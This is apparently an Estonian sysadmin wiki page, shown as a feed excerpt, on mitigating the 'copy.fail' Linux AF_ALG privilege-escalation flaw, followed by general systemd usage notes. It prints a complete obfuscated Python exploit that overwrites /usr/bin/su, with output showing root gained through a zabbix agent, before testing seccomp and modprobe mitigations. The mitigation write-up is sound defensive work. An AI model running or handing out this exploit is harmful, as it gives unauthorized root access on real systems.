* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3411</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3411"/>
		<updated>2026-05-02T10:11:52Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte - leevendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
